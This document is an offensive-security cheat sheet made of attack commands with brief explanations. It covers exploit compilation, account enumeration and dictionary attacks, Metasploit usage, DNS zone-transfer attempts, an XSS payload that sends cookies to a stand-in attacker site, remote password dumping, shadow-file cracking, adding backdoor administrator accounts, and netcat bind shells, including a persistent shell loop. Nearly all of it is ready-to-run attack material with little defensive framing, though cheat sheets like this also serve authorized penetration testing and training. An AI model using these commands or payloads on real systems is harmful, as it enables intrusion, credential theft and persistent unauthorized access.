- LINUX
- # gcc <exploit source> -o <outfile>
- compile an exploit
- run with ./<outfile>
- # whoami
- # id
- # su -
- become root
- WINDOWS
- c:\>enum -U [target]
- enumerate user accounts
- c:\>enum -P [target]
- enum password policy
- c:\>enum -G [target]
- enum groups
- c:\>enum -UGP [target]
- enum combined
- c:\>enum -D -u [user] -f [wordfile] [target]
- run dictionary attack
- NMAP
- # nmap -A <target> --reason -o <file>
- run “agressive” scan output to a file
- # nmap -p <port/s> <target> --reason
- scanspecific ports on target
- # nmap -sV -p <port/s> <target> --reason
- version scan
- --reason - show target’s response
- --packet_trace - shows packet details
- --traceroute - show network topology to target
- Metasploit
- #msfconsole
- > show exploits
- > search [parameter]
- > show payloads
- > use /path/to/exploit
- > set PAYLOAD /path/to/payload
- > show options
- > set RHOST <target-ip>
- > exploit
- > sessions -l
- > sessions -i <session-id>
- Hydan
- # echo “Hello” > hideme.txt
- # ./hydan ./ls hideme.txt > <outfile>
- hide
- ./ hydan-decode <stegofile>
- decode
- enter passwd when prompted
- DNS Interegation
- c:\>nslookup
- >server <dns-server-ip>
- >ls -d target.tgt
- # dig @<target-dns-svr-ip> target.tgt -t AXFR
- attempt zone transfer from linux cli
- CROSS-SITE Scripting Example
- http://website.net/search.php?word=<SCRIPT LANGUAGE=Javascript>alert(“PWNED!”);</SCRIPT>
- Display alert PWNED!
- http://website.net/search.php?word=<SCRIPT LANGUAGE=Javascript>document.location=’http://attackersite.com/cgi-bin/grub.cgi?’%2bdocument.cookie</SCRIPT>
- PASSWORDS DUMP
- c:\> pwdump3 <target-ip> [outfile] [user]
- (will prompt for password)
- dumps passwords from remote machine
- only if you have admin level priv on the remote
- John the Ripper
- # unshadow /etc/passwd /etc/shadow >/tmp/combined
- # ./john /tmp/combined
- c:\> john <hashfile>
- under windows
- “remember to delete “john.pot” if restarting cracking session from beginning
- WINDOWS Net Commands
- c:\>net user /add [user] [password]
- net localgroup administrators /add [user]
- net user [user] /delete
- net use * \\[target]\c$ [admin passwd] /u:[user]
- map local drive to remote with admin privs
- net use * \\[target]\c$ [admin passwd] /u:{target-ip]\[user]
- mapping to server (win2K3)
- net use * /d /y
- delete all net use sessions
- NETCAT
- # nc -lnvp 7777
- create listener on port 7777
- # nc -nv <listener-ip> 7777
- connect to remote listener on 7777
- # nc -lnvp 7777 -e /bin/sh
- create listener and shovel a shell on linux
- c:\> nc -lnvp 7777 -e cmd.exe
- create listener and shovel a shell on Windows
- # nc -lnvp 7777 <file.txt
- create listener, output into the file.txt
- nc -nv <listner-ip> 7777 >file.txt
- connect to listner and send a file.txt
- would normally require a listener with a < file.txt created
- # while [ 1 ]; do echo “Started”;nc -lnp [port] -e /bin/sh;done
- create persistant netcat listner with bash shell